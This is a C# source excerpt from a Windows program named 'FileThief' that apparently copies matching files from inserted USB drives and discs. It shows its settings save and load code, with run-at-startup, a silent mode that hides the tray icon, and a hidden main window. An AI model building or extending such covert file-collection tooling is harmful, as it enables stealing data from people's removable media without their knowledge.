private void btnSave_Click(object sender, EventArgs e) { ClsMain.WriteIni("FileType", "Type", txtType.Text, ClsMain.StrConfig); ClsMain.WriteIni("FileType", "TypeMode", cbType.SelectedIndex.ToString(), ClsMain.StrConfig); ClsMain.WriteIni("FileType", "Size", txtSize.Text, ClsMain.StrConfig); ClsMain.WriteIni("FileType", "SizeMode", cbSize.SelectedIndex.ToString(), ClsMain.StrConfig); ClsMain.WriteIni("FileType", "Path", txtPath.Text, ClsMain.StrConfig); ClsMain.WriteIni("FileName", "RegExp", txtRegExp.Text, ClsMain.StrConfig); ClsMain.WriteIni("Driver", "VolumeLabel", txtLabel.Text, ClsMain.StrConfig); ClsMain.WriteIni("Driver", "VolumeLabelMode", cbVolume.SelectedIndex.ToString(), ClsMain.StrConfig); ClsMain.WriteIni("Log", "WriteLog", Convert.ToInt32(chkLog.Checked).ToString(), ClsMain.StrConfig); ClsMain.WriteIni("Log", "LogPath", Application.StartupPath + "\\FileThief.log", ClsMain.StrConfig); ClsMain.WriteIni("Log", "LogError", Convert.ToInt32(chkLogErr.Checked).ToString(), ClsMain.StrConfig); ClsMain.WriteIni("Log", "LogInfo", Convert.ToInt32(chkLogInfo.Checked).ToString(), ClsMain.StrConfig); ClsMain.WriteIni("General", "Startup", Convert.ToInt32(chkAutoRun.Checked).ToString(), ClsMain.StrConfig); ClsMain.WriteIni("General", "SilentMode", Convert.ToInt32(chkSilent.Checked).ToString(), ClsMain.StrConfig); ClsMain.WriteIni("DriverType", "USBDisk", Convert.ToInt32(chkUSBDisk.Checked).ToString(), ClsMain.StrConfig); ClsMain.WriteIni("DriverType", "USBHD", Convert.ToInt32(chkUSBHD.Checked).ToString(), ClsMain.StrConfig); ClsMain.WriteIni("DriverType", "ROM", Convert.ToInt32(chkROM.Checked).ToString(), ClsMain.StrConfig); var bootStatus = ClsMain.SetAutoBoot(chkAutoRun.Checked); if (bootStatus == -1) { MessageBox.Show("设置开机启动失败!\n其他设置将继续保存。", @"FileThief", MessageBoxButtons.OK, MessageBoxIcon.Error); ClsMain.WriteIni("General", "Startup", 0.ToString(), ClsMain.StrConfig); } MessageBox.Show(@"保存成功!请重启 FileThief 以使更改生效!", @"FileThief", MessageBoxButtons.OK, MessageBoxIcon.Information); }
private void frmMain_Load(object sender, EventArgs e) { if (!File.Exists(ClsMain.StrConfig)) { ClsMain.WriteIni("FileType", "Type", "", ClsMain.StrConfig); ClsMain.WriteIni("FileType", "TypeMode", "0", ClsMain.StrConfig); ClsMain.WriteIni("FileType", "Size", "10240", ClsMain.StrConfig); ClsMain.WriteIni("FileType", "SizeMode", "0", ClsMain.StrConfig); ClsMain.WriteIni("FileType", "Path", "", ClsMain.StrConfig); ClsMain.WriteIni("FileName", "RegExp", "", ClsMain.StrConfig); ClsMain.WriteIni("Driver", "VolumeLabel", "", ClsMain.StrConfig); ClsMain.WriteIni("Driver", "VolumeLabelMode", "0", ClsMain.StrConfig); ClsMain.WriteIni("Log", "WriteLog", "1", ClsMain.StrConfig); ClsMain.WriteIni("Log", "LogPath", Application.StartupPath + "\\FileThief.log", ClsMain.StrConfig); ClsMain.WriteIni("Log", "LogError", "1", ClsMain.StrConfig); ClsMain.WriteIni("Log", "LogInfo", "1", ClsMain.StrConfig); ClsMain.WriteIni("General", "Startup", "0", ClsMain.StrConfig); ClsMain.WriteIni("General", "SilentMode", "0", ClsMain.StrConfig); ClsMain.WriteIni("DriverType", "USBDisk", "1", ClsMain.StrConfig); ClsMain.WriteIni("DriverType", "USBHD", "1", ClsMain.StrConfig); ClsMain.WriteIni("DriverType", "ROM", "0", ClsMain.StrConfig); LoadSettings(); if (!Directory.Exists(Application.StartupPath + "\\Files")) { Directory.CreateDirectory(Application.StartupPath + "\\Files"); } if (!File.Exists(ClsMain.ConLogPath)) { File.WriteAllText(ClsMain.ConLogPath, "FileThief 日志\r\n\r\n", Encoding.UTF8); } if (ClsMain.ConLog == "1" && ClsMain.ConLogInfo == "1") { WriteLog("FileThief 开始运行", 0, ClsMain.ConLogPath); } } else { LoadSettings(); if (!Directory.Exists(ClsMain.ConPath) && ClsMain.ConPath != "") { Directory.CreateDirectory(ClsMain.ConPath); } if (!File.Exists(ClsMain.ConLogPath)) { File.WriteAllText(ClsMain.ConLogPath, "FileThief 日志\r\n\r\n", Encoding.UTF8); } if (ClsMain.ConLog == "1" && ClsMain.ConLogInfo == "1") { WriteLog("FileThief 开始运行", 0, ClsMain.ConLogPath); } } if (ClsMain.ConSilent == "0") { ntf.Visible = true; } // Hide Form BeginInvoke(new Action(() => { Hide(); Opacity = 1; })); }